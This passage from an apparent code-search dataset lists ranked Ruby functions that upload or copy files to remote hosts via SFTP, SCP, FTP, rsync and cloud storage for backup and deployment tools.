source_folders_param, working_directory, deploy_root)\n end\n\n # Then, from all other hosts, use SFTP to pull from the root host\n on pending_hosts do |host|\n execute \"printf 'ls -al\\\\nget -r #{working_directory}' | sftp -o StrictHostKeyChecking=no #{root_host.properties.name}\"\n end\nend", "title": "" }, { "docid": "d16f12ce5069823a9b5416f02650d283", "score": "0.6921459", "text": "def transfer!\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\".\")\n create_remote_directories!\n connection.put(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end", "title": "" }, { "docid": "8be4d4cabf120483a4b177f6dde1fab1", "score": "0.6898353", "text": "def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join(remote_path, filename)\n Logger.info \"Storing '#{ dest }'...\"\n\n parent_id = find_id_from_path(remote_path)\n gdrive_upload(src, parent_id)\n end\n end", "title": "" }, { "docid": "7befedceb81c36fff0a5ec800c90a9b6", "score": "0.68174106", "text": "def transfer!\n remote_path = remote_path_for(@package)\n\n connection do |ssh|\n ssh.exec!(\"mkdir -p '#{ remote_path }'\")\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring \" +\n \"'#{local_file}' to '#{ip}'.\"\n\n ssh.scp.upload!(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end\n end\n end", "title": "" }, { "docid": "097ad1090b064304e2b2abcd49f04f92", "score": "0.6811702", "text": "def transfer!\n begin\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\".\")\n directory = connection.directories.get remote_path\n directory ||= connection.directories.create(:key => remote_path)\n directory.files.create(\n :key => remote_file,\n :body => File.open(File.join(local_path, local_file))\n )\n rescue Excon::Errors::NotFound\n raise \"An error occurred while trying to transfer the file.\"\n end\n end", "title": "" }, { "docid": "0ab4219493006744c3364356e0d51b12", "score": "0.6763134", "text": "def transfer!\n remote_path = remote_path_for(@package)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring '#{ local_file }'.\"\n File.open(File.join(local_path, local_file), 'r') do |file|\n connection.put_file(File.join(remote_path, remote_file), file)\n end\n end\n end", "title": "" }, { "docid": "c45fda821d446671eaaaeae550dc6e5a", "score": "0.67177707", "text": "def transfer!\n remote_path = remote_path_for(@package)\n\n directory = directory_for(remote_path, true)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring '#{ local_file }'.\"\n\n File.open(File.join(local_path, local_file), 'r') do |file|\n directory.files.create(:key => remote_file, :body => file)\n end\n end\n end", "title": "" }, { "docid": "a6271a8794b4b9013a13df6ae08b42cd", "score": "0.66705394", "text": "def transfer!\n begin\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\".\")\n connection.put_object(\n container,\n File.join(remote_path, remote_file),\n File.open(File.join(local_path, local_file))\n )\n rescue Excon::Errors::SocketError => e\n puts \"\\nAn error occurred while trying to transfer the backup.\"\n puts \"Make sure the container exists and try again.\\n\\n\"\n exit\n end\n end", "title": "" }, { "docid": "39115992443a3d5518cdd549c4c0b619", "score": "0.66295993", "text": "def upload files\n\tfiles.each{|file| Net::SCP.upload!(@host , @user, file, @remote_destination) }\nend", "title": "" }, { "docid": "3eac693cf9a247a25e94b3386f4add1c", "score": "0.65824795", "text": "def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join(remote_path, filename)\n Logger.info \"Storing '#{dest}'...\"\n\n uploader = nil\n File.open(src, \"r\") do |file|\n uploader = connection.get_chunked_uploader(file, file.stat.size)\n while uploader.offset < uploader.total_size\n with_retries do\n uploader.upload(1024**2 * chunk_size)\n end\n end\n end\n\n with_retries do\n uploader.finish(dest)\n end\n end\n rescue => err\n raise Error.wrap(err, \"Upload Failed!\")\n end", "title": "" }, { "docid": "44adabcdd307ea6fe11234f4aa2e1b23", "score": "0.6568726", "text": "def host_transfer(host, source_folders_param, working_directory, deploy_root)\n # Remove the directory first\n begin\n sudo :rm, '-rf', working_directory\n rescue => e\n # ignore errors removing directory\n end\n execute :mkdir, '-p', working_directory\n\n # Host config node\n host_conf = $conf['hosts'][host.properties.name]\n\n # Source folders for file deployment\n source_folders = deploy_root[source_folders_param].dup\n\n # Add host-specific source folders\n source_folders.concat(host_conf[source_folders_param]) if host_conf[source_folders_param]\n\n # Push source folders to the working directory\n begin\n Open3.popen2e(\"sftp\", \"-o\", \"StrictHostKeyChecking=no\", \"-i\", host.ssh_options[:keys][0], \"#{host.user}@#{host.hostname}\") do |stdin, stdout, wait_thr|\n source_folders.each do |source_folder|\n folder = File.expand_path(source_folder, $ref_path)\n\n info \"[#{host.properties.name}] uploading #{folder}\"\n\n stdin.puts \"lcd '#{folder}'\"\n stdin.puts \"cd #{working_directory}\"\n stdin.puts \"put -r .\"\n end\n stdin.close\n\n stdout.each do |line|\n debug \"[#{host.properties.name}] #{line}\"\n end\n\n unless wait_thr.value.success?\n fail \"aborting because an error occurred transferring files\"\n end\n end\n rescue => e\n warn \"[#{host.properties.name}] failed to transfer using SFTP, trying using Net::SCP, this will be slower\"\n\n source_folders.each do |source_folder|\n folder = Pathname.new(File.expand_path(source_folder, $ref_path))\n\n Dir.glob(File.join(folder, '**', '*')).each do |file|\n next if Dir.exist? file\n\n destination_file = File.join(working_directory, Pathname.new(file).relative_path_from(folder))\n destination_dir = File.dirname(destination_file)\n\n # Ensure the destination directory is created\n execute :mkdir, '-p', destination_dir unless destination_dir == working_directory\n\n # Upload the file\n upload! file, destination_file\n end\n end\n end\nend", "title": "" }, { "docid": "ed8928f22b5641cd31373d3a54660bc5", "score": "0.6542357", "text": "def transfer!\n remote_path = remote_path_for(@package)\n local_path = Config.tmp_path\n @package.filenames.each do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring '#{ local_file }'.\"\n connection.directories.get(\"#{container}\").files.create :key => \"#{Time.now.strftime(\"%Y.%m.%d\")}_#{local_file}\", :body => File.open(File.join(local_path, local_file))\n # connection.directories.get(\"#{container}\").files.create :key => \"#{Time.now}_#{local_file}\", :body => File.open(File.join(local_path, local_file))\n end\n if connection.directories.get(\"#{container}\").count.to_i > keep\n Logger.info \"Remove first #{connection.directories.get(\"#{container}\").files.first.key}\"\n connection.directories.get(\"#{container}\").files.first.destroy\n end\n end", "title": "" }, { "docid": "35ffe5105395e7496213b854dad3a416", "score": "0.6471387", "text": "def transfer!\n files_to_transfer do |local_file, remote_file|\n Logger.message \"#{storage_name} started transferring '#{ local_file }'.\"\n connection.upload(\n File.join(local_path, local_file),\n remote_path,\n :as => remote_file,\n :timeout => timeout\n )\n end\n\n remove_instance_variable(:@connection) if instance_variable_defined?(:@connection)\n end", "title": "" }, { "docid": "4e1276c7c5a46fdda66df7a18e811e52", "score": "0.63311243", "text": "def file_transfer_bootstrap(args, source_folders_param, working_directory, deploy_root)\n on hosts(args) do |host|\n # Create the working directory\n host_transfer(host, source_folders_param, working_directory, deploy_root)\n end\nend", "title": "" }, { "docid": "fbe4770d1b4a61320e2ace0b5b42498f", "score": "0.62565017", "text": "def upload(host_src_file_path, guest_dest_file_path)\n @logger.debug(\"Upload: #{host_src_file_path} -> #{guest_dest_file_path}\")\n if File.directory?(host_src_file_path)\n upload_directory(host_src_file_path, guest_dest_file_path)\n else\n upload_file(host_src_file_path, guest_dest_file_path)\n end\n end", "title": "" }, { "docid": "d9ce21bd9eef63a9b9a7a87cbfe8ce8f", "score": "0.62220985", "text": "def upload_directory(host_src_file_path, guest_dest_file_path)\n glob_patt = File.join(host_src_file_path, '**/*')\n Dir.glob(glob_patt).select { |f| !File.directory?(f) }.each do |host_file_path|\n guest_file_path = guest_file_path(host_src_file_path, guest_dest_file_path, host_file_path)\n upload_file(host_file_path, guest_file_path)\n end\n end", "title": "" }, { "docid": "0d5e80ed858a811feb6d987fe98dee72", "score": "0.6209479", "text": "def transfer_path(locals, remote, connection)\n return if locals.nil? || Array(locals).empty?\n\n info(\"Transferring files to #{instance.to_str}\")\n locals.each { |local| connection.upload_path!(local, remote) }\n debug(\"Transfer complete\")\n rescue SSHFailed, Net::SSH::Exception => ex\n raise ActionFailed, ex.message\n end", "title": "" }, { "docid": "0d5e80ed858a811feb6d987fe98dee72", "score": "0.6209479", "text": "def transfer_path(locals, remote, connection)\n return if locals.nil? || Array(locals).empty?\n\n info(\"Transferring files to #{instance.to_str}\")\n locals.each { |local| connection.upload_path!(local, remote) }\n debug(\"Transfer complete\")\n rescue SSHFailed, Net::SSH::Exception => ex\n raise ActionFailed, ex.message\n end", "title": "" }, { "docid": "d88101d7b683f72cdb20c0e61082fe6c", "score": "0.61936885", "text": "def transfer!\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\".\")\n connection.upload(File.join(local_path, local_file), remote_path, :timeout => timeout)\n end", "title": "" }, { "docid": "9a7913a0e39b8b0a54e58d9486f718f4", "score": "0.61676276", "text": "def transfer_file(file, from, to)\n from = SERVER_ALIASES[from] if SERVER_ALIASES.has_key?(from)\n to = SERVER_ALIASES[to] if SERVER_ALIASES.has_key?(to)\n cmd = \"scp #{from}/#{file} #{to}/#{file}\"\n verbose cmd\n system cmd\nend", "title": "" }, { "docid": "bde6b1f0564a4de090a545da9719cc33", "score": "0.61488634", "text": "def transfer!\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\".\")\n create_remote_directories!\n if @local\n run(\"#{ utility(:rsync) } '#{ File.join(local_path, local_file) }' '#{ File.join(remote_path, TIME+'.'+remote_file[20..-1]) }'\")\n else\n run(\"#{ utility(:rsync) } #{ options } #{ port } #{ password } '#{ File.join(local_path, local_file) }' '#{ username }@#{ ip }:#{ File.join(remote_path, remote_file[20..-1]) }'\")\n end\n end", "title": "" }, { "docid": "fdd685a1d121408cda051c2f7c263d80", "score": "0.61130273", "text": "def upload(nodes)\n node_manager.assert_known(nodes)\n\n Node.prepare_upload do\n for node in nodes\n node_manager.find(node).upload\n end\n end\n end", "title": "" }, { "docid": "3c5c5d92641e42815d616041335bd718", "score": "0.6074791", "text": "def uploadViaFTP(host, usermame , password , path, files_to_upload)\n \n checkPathOnFTP(host, usermame , password , path)\n \n # on est sûr d'avoir le dossier qu'il faut\n # on fait la vraie connexion\n \n ftp = Net::FTP.new(host)\n \n ftp.login(usermame , password)\n \n # ftp.chdir(path)\n \n files_to_upload.each do |names|\n puts \"host: #{host}\"\n puts 'Envoi du fichier ' + names[0] + ' vers ' + names[1]\n ftp.putbinaryfile(names[0].to_s, names[1])\n end\n \n ftp.close\n \nend", "title": "" }, { "docid": "281664a3c145b4d8c359d59fc2c13f41", "score": "0.6074617", "text": "def transfer!\n backup = connection.backups.create\n Logger.message \"Created backup [#{backup.id}]\"\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n backup_file = backup.files.create(filename: remote_file)\n Logger.message \"Created backup file [#{backup_file.id}]\"\n\n Logger.message \"#{storage_name} performing upload of '#{File.join(local_path, local_file)}' to '#{backup_file.upload_url}'.\"\n backup_file.upload(file: File.join(local_path, local_file))\n end\n\n Logger.message \"Finished uploading files for backup [#{backup.id}]\"\n end", "title": "" }, { "docid": "9ceae41f92e1e43d124c94e4a24604a4", "score": "0.606312", "text": "def execute\n @mappings.each do |from, to|\n log_debug \"[#{@node}] - Copy to remote \\\"#{from}\\\" => \\\"#{to}\\\"\"\n @connector.remote_copy from, to, sudo: @sudo, owner: @owner, group: @group\n end\n end", "title": "" }, { "docid": "f7d584bbcce22faba3add6722cb3528f", "score": "0.6014403", "text": "def remote_upload(user=@user, host=\"127.0.0.1\", remotefile, cmdsarray)\n $logger.debug(\" remote_upload user=#{user} host=#{host} remotefile=#{remotefile}\")\n shellcmds=\"#!/usr/bin/bash\"\n cmdsarray.each do |item|\n shellcmds=\"#{shellcmds}\\n#{item}\"\n end\n Net::SCP.start(host, user, :password=>@password ) do |session|\n session.upload! StringIO.new(shellcmds) , \"#{remotefile}\"\n end\n end", "title": "" }, { "docid": "edd655503dc969c44db1e56f7ea95d2a", "score": "0.6007522", "text": "def put(&blk)\n Net::SFTP.start(self.host, self.user, port: self.port, auth_methods: [\"publickey\"]) do |sftp|\n files = yield\n files.each do |file|\n sftp.upload!( StringIO.new(file[:content]), file[:name])\n end\n end\n end", "title": "" }, { "docid": "23463617134ff0d865d5c27cf665723e", "score": "0.59733987", "text": "def sync_files\n # Initialize a new transfer folder\n config[:local_transfer_path] = Dir.mktmpdir(\"#{instance.name}-busser-transfer\")\n\n transfer_list = []\n local_suite_files.each do |f|\n raw_content = IO.read(f)\n md5 = Digest::MD5.hexdigest(raw_content)\n remote_dir = config[:remote_transfer_path]\n temp_file = File.join(config[:local_transfer_path], md5)\n encoded_content = Base64.encode64(raw_content).gsub(\"\\n\", '')\n IO.binwrite(temp_file, encoded_content)\n\n transfer_list.push({local: temp_file , remote: remote_dir})\n end\n transfer_list\n end", "title": "" }, { "docid": "8bb64936859536543932243387cbfc5c", "score": "0.59615844", "text": "def copy_hiera_data_to(host, source)\n scp_to host, File.expand_path(source), hiera_datadir(host)\n end", "title": "" }, { "docid": "c9dbd9a03d22f88f9fa95591b7022d69", "score": "0.5956584", "text": "def transfer_unused_files\n report_data = collect_report_data\n unpublished_files = report_data['unpublished_files']\n create_reports_folder\n\n foldername = @vortex_path + 'nettpublisering/ikke_migrert_innhold/'\n unpublished_files.each do |filename|\n local_filename = @html_path.to_s + filename\n local_filenamme = local_filename.gsub(/\\/\\/*/,'/')\n remote_filename = foldername + filename\n remote_path = Pathname.new(remote_filename).parent.to_s\n content = open(local_filename).read\n basename = Pathname.new(remote_filename).basename.to_s\n basename = URI.encode(basename)\n\n puts \"Transfering unused file to server: \" + remote_path.downcase + '/' + basename\n @vortex.create_path(remote_path)\n @vortex.put_string(remote_path.downcase + '/' + basename, content)\n end\n\n end", "title": "" }, { "docid": "af00ea32b1cf2dcace673e09089705e5", "score": "0.59548944", "text": "def private_copy_remote_to_local_core(src_dir, dst_dir, orig_name, rename_to)\n # Bundle remote files into archive \n remote_tarfile = @node_server.create_unique_temp_file(\"systemtest_copy_\")\n cmd = private_get_system_command_to_bundle_files_into_archive(src_dir, remote_tarfile, orig_name, rename_to) \n @node_server.execute(cmd)\n\n # Copy remote archive to local archive\n local_tarfile = Tempfile.new(\"systemtest_copy_\")\n content = readfile(remote_tarfile)\n File.open(local_tarfile.path, \"w\") do |file|\n file.write(content)\n end\n\n # Extract files locally\n FileUtils.mkdir_p(dst_dir)\n `cd #{dst_dir} && tar xzf #{local_tarfile.path}`\n\n # Remove temporary archives\n local_tarfile.close!();\n @node_server.execute(\"rm -f #{remote_tarfile}\")\n end", "title": "" }, { "docid": "188a6e99943b91a3f4e86d327bb9ce49", "score": "0.59399515", "text": "def transmit_file\n Net::SFTP.start(ENV['PROQUEST_SFTP_HOST'], ENV['PROQUEST_SFTP_USER'], password: ENV['PROQUEST_SFTP_PASSWORD']) do |sftp|\n Rails.logger.debug \"Uploading #{@upload_file} to ProQuest\"\n sftp.upload!(@upload_file, \"#{@work.upload_file_id}.zip\")\n end\n end", "title": "" }, { "docid": "7889a9c485887540a945a7a1e4998bd4", "score": "0.5939712", "text": "def distribute!\n args = [ filename, remote_filename ]\n args << { :via => configuration[:copy_via] } if configuration[:copy_via]\n upload(*args)\n decompress_remote_file\n end", "title": "" }, { "docid": "261dfca96d33e73153c3288b440b07ee", "score": "0.5936273", "text": "def uploadFilesOnSFNET\n @GeneratedFileNames.each do |iFileName|\n log_debug \"Uploading #{iFileName} on SF.NET ...\"\n scp(\"#{@InstallerDir}/#{iFileName}\", \"#{@SFReleaseDir}/#{iFileName}\")\n end\n end", "title": "" }, { "docid": "a1e7e9b8893c669838009fb4118dda82", "score": "0.5884822", "text": "def put remote_path, base_name = File.basename(remote_path)\n require 'tempfile'\n Tempfile.open base_name do |fp|\n fp.puts yield\n fp.flush\n @happy = true\n rsync fp.path, \"#{target_host}:#{remote_path}\"\n @happy = false\n end\n end", "title": "" }, { "docid": "3d5ffcd9400632aeefd4a535c0a09fba", "score": "0.5876925", "text": "def upload(local_file, remote_file)\n raise ConnectionClosed.new('Connection is closed.') unless @ssh\n sftp.upload!(local_file, remote_file)\n end", "title": "" }, { "docid": "6f9415b9f7c7bbffa367dfd6ed1d1be7", "score": "0.58756256", "text": "def set_host_key_files( files )\n @key_manager.clear_host!\n files.each { |file| @key_manager.add_host_key file }\n end", "title": "" }, { "docid": "11601ae77feff77c5dded272e6336ce3", "score": "0.58708835", "text": "def upload_locally_staged_rpms_to(hirs_host, rpm_staging_dir)\n rpms = Dir['*.rpm'] + Dir[File.join('rpms','*.rpm')]\n rpms.each do |f|\n scp_to(hirs_host,f,rpm_staging_dir)\n end\n end", "title": "" }, { "docid": "d1c18cc65802e7385342a5ca2fbc59dd", "score": "0.5868108", "text": "def transfer\n prepare unless @prepared\n\n raise 'Deployment failed when trying to prepare remote directories for sync.' unless create_paths\n raise 'Deployment failed. Cannot sync files.' unless @local_shell.run(rsync_command)\n raise 'Deployment failed when trying to move file from temporary upload dir.' unless copy_temp_to_release\n raise 'Deployment failed when creating symlinks for shared folders' unless add_shared\n end", "title": "" }, { "docid": "4bb11f9e14349caa3d64856c337919cf", "score": "0.5854498", "text": "def transfer_path(locals, remote, connection)\n return if locals.nil? || Array(locals).empty?\n\n info(\"Transferring files to #{instance.to_str}\")\n debug(\"TIMING: scp asynch upload (Kitchen::Driver::SSHBase)\")\n elapsed = Benchmark.measure do\n transfer_path_async(locals, remote, connection)\n end\n delta = Util.duration(elapsed.real)\n debug(\"TIMING: scp async upload (Kitchen::Driver::SSHBase) took #{delta}\")\n debug(\"Transfer complete\")\n rescue SSHFailed, Net::SSH::Exception => ex\n raise ActionFailed, ex.message\n end", "title": "" }, { "docid": "863366898937bfa30c1e0881036ffe70", "score": "0.5850728", "text": "def distribute!\n\t files.upload(filename, remote_filename)\n\t decompress_remote_file\n\t end", "title": "" }, { "docid": "7eb4d2d994a2c92a1b33b95c5ba348bd", "score": "0.58213794", "text": "def upload(file_list)\n FileUtils.mkdir_p(@path) if !File.exists?(@path)\n file_list.each do |file|\n path_to_copy = file.minified_path\n path_to_copy ||= file.local_path\n destination = File.join(@path,file.remote_path)\n dest_dir = File.dirname(destination)\n FileUtils.mkdir_p(dest_dir) if !File.exists?(dest_dir)\n FileUtils.cp path_to_copy,dest_dir\n end\n end", "title": "" }, { "docid": "775cce143c0ece5b4af7e6697526965b", "score": "0.582029", "text": "def set_upload_file_nodes\n set_node_b(\"Content\", @content)\n set_node(\"FileType\", @file_type)\n add_node_after('Environment', 'TargetId', content: @target_id) if @bank == :nordea\n end", "title": "" }, { "docid": "fd2616889442d4a4efc1494d6095bf06", "score": "0.5806849", "text": "def fileUp(mediaObject, newName)\n File.open(mediaObject) do |f|\n Net::SCP.start(remoteServer, login, :password => password) do |scp|\n scp.upload mediaObject, remotePath + newName,\n :verbose => true\n end\n end\nend", "title": "" }, { "docid": "723790afea4030e61a79febeb2b66b59", "score": "0.5803053", "text": "def sftp_copy(username, password, server, files_map)\n ssh = FileCopy.ssh_connect(username, password, server)\n ssh.sftp.connect do |sftp|\n uploads = files_map.map { |from,to|\n remote_dir = File.dirname(to)\n sftp_mkdir_recursive(sftp, File.dirname(to))\n p \"Copying #{from} to #{to}\"\n sftp.upload(from, to)\n }\n uploads.each { |u| u.wait }\n p \"Done.\"\n end # ssh.sftp.connect\n end", "title": "" }, { "docid": "cc35a13a61ed8af7434d3a16db038eb1", "score": "0.5803041", "text": "def dirUp(mediaObject, newName)\n Dir.open(mediaObject) do |f|\n Net::SCP.start(remoteServer, login, :password => password) do |scp|\n scp.upload mediaObject, remotePath + newName,\n :recursive => true, :verbose => true\n end\n end\nend", "title": "" }, { "docid": "695de9f4de3120cb16bfc089e6dae590", "score": "0.5797815", "text": "def upload!(from, to)\n execute do |ssh|\n scp = Net::SCP.new(ssh)\n scp.upload!(from, to)\n end\n end", "title": "" }, { "docid": "8bb5e83644f927157ab4b445aab16c57", "score": "0.57923615", "text": "def perform(server)\n server.upload_file(self, @target_path, @file_contents)\n end", "title": "" }, { "docid": "f9f9bc116ca85db27bf4870dfe9e2340", "score": "0.57828134", "text": "def copy_file_from_host(from_host, filename_from_host, filename_to_host)\n debug \"copying file from \" +\n \"Host #{from_host.hostname}:#{filename_from_host} to \" +\n \"Host #{@hostname} as #{filename_remote}\"\n system \"scp -P #{@port} #{from_host.user}@#{from_host.hostname}:\" +\n \"#{Shellwords.escape(filename_from_host)} \" +\n \"#{@user}@#{@hostname}:#{Shellwords.escape(filename_to_host)}\"\n raise SCPFailure unless $?.success?\n end", "title": "" }, { "docid": "fa53e6b398ddba6f5b4ba092bce3f42c", "score": "0.5769647", "text": "def upload!(source_file, dest_path, host, ssh_user, ssh_key, ssh_port=22, debug = false)\n begin\n Net::SSH.start(host, ssh_user, :port => ssh_port, :keys => ssh_key, :auth_methods => %w(publickey)) do |ssh|\n ssh.scp.upload!(source_file, dest_path) do |ch, name, sent, total|\n puts \"\\r[Debug]: #{name} -> #{(sent.to_f * 100 / total.to_f).to_i}%\" if debug\n end\n end\n rescue Net::SSH::HostKeyMismatch => e\n e.remember_host!\n retry\n rescue StandardError => e\n puts e.to_s\n end\n end", "title": "" }, { "docid": "7462c136f63578b41bb982381f40d3a9", "score": "0.5767956", "text": "def uploadViaSSH(host , login , path, files_to_upload)\n\n # on vérifie si le dossier existe\n check_command = \"if [ ! -d \\\"#{path}\\\" ]; then mkdir \\\"#{path}\\\"; fi\"\n \n Net::SSH.start(host, login) do |ssh|\n # capture all stderr and stdout output from a remote process\n output = ssh.exec!(check_command)\n \n puts \"check: #{check_command}\"\n puts \"output : #{output}\"\n end\n\n Net::SCP.start(host, login) do |scp|\n files_to_upload.each do |names|\n puts 'Envoi du fichier ' + names[0] + ' vers ' + names[1]\n scp.upload!(names[0].to_s, names[1])\n end\n end\n\nend", "title": "" }, { "docid": "2be7ec9aa8d376a287819d13a1d14379", "score": "0.57634276", "text": "def private_copy_local_to_remote_core(src_dir, dst_dir, orig_name, rename_to)\n # Bundle local files into archive \n local_tarfile = Tempfile.new(\"systemtest_copy_\")\n cmd = private_get_system_command_to_bundle_files_into_archive(src_dir, local_tarfile.path, orig_name, rename_to)\n execute(cmd)\n\n # Copy archive to remote and extract\n @node_server.private_copy_archive_to_node_and_extract(local_tarfile.path, dst_dir, orig_name, rename_to)\n\n # Delete temporary archive\n local_tarfile.close!(); \n end", "title": "" }, { "docid": "d60b7d73c524dd42aeb6c060c56ffc8f", "score": "0.571691", "text": "def update_remote_file(node_id, options)\n post \"/cluster/#{node_id}/files\", options\n end", "title": "" }, { "docid": "98e0d333781db9dacd75dc541fa8acc2", "score": "0.57031393", "text": "def transfer_keys\n \n File.open('/opt/scripts/hostfile').each { |remote_server|\n begin\n puts \"Transferring key to #{remote_server}\"\n\n # Automating the ssh-copy process\n PTY.spawn(\"ssh-copy-id -i #{$userid.chomp}@#{remote_server.chomp}\"){|rscreen, wscreen, pid|\n wscreen.sync = true\n rscreen.sync = true\n if rscreen.expect(/Are/, 1)\n wscreen.puts('yes')\n rscreen.expect(/[Pp]assword/)\n wscreen.puts($passwd)\n #rscreen.expect(/[#$]/,1)\n else\n rscreen.expect(/[Pp]assword:/)\n wscreen.puts($passwd)\n end\n }\n rescue Errno::EIO\n end \n }\n end", "title": "" }, { "docid": "f6b5b9dd4ecb7279de2c8dcf9c8208d2", "score": "0.5699528", "text": "def ftp_put( source, dest)\n\t\t@tar_script.puts source\n\tend", "title": "" }, { "docid": "ec9004f8736de19c50eb34f856a9c8ae", "score": "0.56926894", "text": "def put(local, remote)\n @fs.copyFromLocalFile(Path.new(local), Path.new(remote))\n end", "title": "" }, { "docid": "0229e388b5d605d15c2fb7e9827a7a8b", "score": "0.5692014", "text": "def scp_to(from,to)\n\t\tgem 'net-ssh'\n\t\trequire 'net/ssh'\n\t\t\n\t\tgem 'net-scp'\n\t\trequire 'net/scp'\n\t\t\n\t\tbegin\n\t\t\t# upload a file to a remote server\n\t\t\tNet::SCP.start(@vmid, @vm_user, :password => @vm_pass) do |scp|\n\t\t\t\tscp.upload!(from,to)\n\t\t\tend\t\n\t\trescue Exception => e\n\t\t\treturn false\n\t\tend\n\tend", "title": "" }, { "docid": "3cea236fb9c6e49d1cc75e1a611035a6", "score": "0.5685782", "text": "def upload(dest)\n # upload bins\n @info.bins.each do |entry|\n (@location + entry).copy(dest + entry)\n end\n\n # upload etc files\n @info.etcs.each do |entry|\n (@location + entry).copy(dest + entry)\n end\n end", "title": "" }, { "docid": "35dfc3418b00e4f1fb3d67835541ea53", "score": "0.5675417", "text": "def upload_files(files, local, remote)\n remote = SERVER_ALIASES[remote] if SERVER_ALIASES.has_key?(remote)\n if remote.index(':')\n url, path = remote.split(':')\n else\n url = remote\n path = '.'\n end\n\n tempfile = \"/tmp/update_images.#{$$}\"\n open(tempfile, 'w') do |fh|\n for file in files.sort\n fh.puts(file)\n end\n end\n\n cmd = \"tar -T #{tempfile} -cf - | ssh #{url} \\\\(cd #{path}\\\\; tar -xvPf -\\\\)\"\n verbose cmd\n\n cmd = \"(#{cmd}) > /dev/null\" if !@@verbose\n cmd = \"cd #{local}; #{cmd}; rm #{tempfile}\"\n system cmd\n\n # This causes a fork and runs out of memory.\n # save = Dir.getwd\n # Dir.chdir(local)\n # open(\"|#{cmd}\") do |fh|\n # fh.each_line do |line|\n # verbose line\n # end\n # end\n # Dir.chdir(save)\n #\n # File.delete(tempfile)\nend", "title": "" }, { "docid": "666a078a4a45b8d132a84741c020c26a", "score": "0.56543165", "text": "def upload_temphosts(hosts_content, dest_path = '/tmp/vagrant-hosts.txt')\n temp_file = nil\n\n temp_file = Tempfile.new('vagrant-hosts')\n temp_file.binmode # Don't convert line endings.\n\n temp_file.write(hosts_content)\n temp_file.flush\n @machine.communicate.upload(temp_file.path, dest_path)\n ensure\n temp_file.close unless temp_file.nil?\n end", "title": "" }, { "docid": "c01f933bd029e121e8737b9a56a2dc5c", "score": "0.56510097", "text": "def scp(files=[], remote_dest='~')\n sh \"scp -P #{$config['port']} #{files.join(' ')} #{$config['host']}:#{remote_dest}\"\nend", "title": "" }, { "docid": "75511bd335cce152ae0a24da184380e9", "score": "0.5643585", "text": "def remote_directory(target_path, source_path)\n source_path = File.expand_path(source_path, files_dir)\n queue! %[sudo mkdir -p $(dirname #{target_path})]\n queue! %[sudo rsync -av --delete --exclude='.git' #{localhost}:#{source_path}/ #{target_path}/]\nend", "title": "" }, { "docid": "b855b9a648992d51cac0b3bf59594177", "score": "0.563985", "text": "def cp_to_ftp(source, target)\n\t\t@host, target_dir = extract_host_info(target)\n\t\tapply_config\n\t\tchange_default_port\n\t\ttarget_dir = format_target_dir(target_dir.to_s)\n\n\t\tNet::FTP.open(@host, @user, @password) do |ftp|\n\t\t\tftp.login if @user.nil?\n\t\t\tsource.each do |s|\n\t\t\t\tif File.directory?(s)\n\t\t\t\t\tif @recursive\n\t\t\t\t\t\twrite_dir(s, target_dir, ftp)\n\t\t\t\t\telse\n\t\t\t\t\t\tLogger.err(\n\t\t\t\t\t\t\t\"'#{s}' is a directory. Use -r to enable recursive copy!\")\n\t\t\t\t\t\t# NOTREACHED\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\twrite_file(s, format_target(s, target_dir, ftp), ftp)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "11cbe4add8c70b30217abb196e07bd7d", "score": "0.56349236", "text": "def copy_to_remote!\n remote_path = File.join(Bookshelf::remote_folder, relative_path)\n mkdir_p File.dirname(remote_path)\n cp absolute_path, remote_path\n end", "title": "" }, { "docid": "27445b0081b59cef8ecbd86f77a9e8ea", "score": "0.5634082", "text": "def distribute!\n upload( filename, remote_filename, :via => configuration[:copy_via] || :sftp )\n run \"cd #{configuration[:releases_path]} && #{decompress(remote_filename).join(\" \")} && rm #{remote_filename}\"\n end", "title": "" }, { "docid": "910bbdace84ec233d0b59dd5b47c16d4", "score": "0.5622603", "text": "def upload remote_path, local_path\n url = \"http#{_connection.http.use_ssl? ? 's' : ''}://#{_connection.http.address}:#{_connection.http.port}#{mkuripath(remote_path)}\"\n Excon.post(url, :body => File.open(load_path), :headers => {:Cookie => _connection.cookie}, :expects => [200, 201])\n end", "title": "" }, { "docid": "af8291e9c028003165a161928909f90d", "score": "0.5617943", "text": "def upload_file(from, to)\n file = Pathname.new(from).basename\n start do |sftp|\n puts \"--> Uploading to SFTP:#{File.join(to,file)}\"\n\n sftp.upload! from.to_s, File.join(to,file).force_encoding('Binary') # net-sftp transfers binary\n end\n\n Pathname.new File.join(to,file)\n end", "title": "" }, { "docid": "2c0d76c97904610d8c088f207a8a07cb", "score": "0.56020254", "text": "def upload(from, to)\n to = Vagrant::Util::Platform.unix_windows_path(to)\n @logger.debug(\"Uploading: #{from} to #{to}\")\n\n if File.directory?(from)\n if from.end_with?(\".\")\n @logger.debug(\"Uploading directory contents of: #{from}\")\n from = from.sub(/\\.$/, \"\")\n else\n @logger.debug(\"Uploading full directory container of: #{from}\")\n to = File.join(to, File.basename(File.expand_path(from)))\n end\n end\n\n sftp_connect do |sftp|\n uploader = lambda do |path, remote_dest=nil|\n if File.directory?(path)\n Dir.new(path).each do |entry|\n next if entry == \".\" || entry == \"..\"\n full_path = File.join(path, entry)\n dest = File.join(to, path.sub(/^#{Regexp.escape(from)}/, \"\"))\n sftp.mkdir(dest)\n uploader.call(full_path, dest)\n end\n else\n if remote_dest\n dest = File.join(remote_dest, File.basename(path))\n else\n dest = to\n if to.end_with?(File::SEPARATOR)\n dest = File.join(to, File.basename(path))\n end\n end\n 